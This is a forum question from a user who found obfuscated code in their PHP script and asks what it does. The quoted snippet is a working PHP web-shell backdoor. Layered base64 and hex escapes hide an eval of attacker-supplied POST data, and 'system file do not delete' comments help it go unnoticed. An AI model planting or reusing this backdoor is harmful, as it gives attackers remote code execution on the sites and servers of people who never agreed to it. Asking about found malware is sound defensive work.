title: How to decode this php code in one of my script
body: <p>I had this in my php file. looks like some malware but i want to know what does it means
  what its doing</p>
  
  <pre><code>&lt;?php //cb6f82f3e4007bdaccf419abafab94c8
   $_=
  //system file do not delete
  'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
   //system file do not delete
  $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
  </code></pre>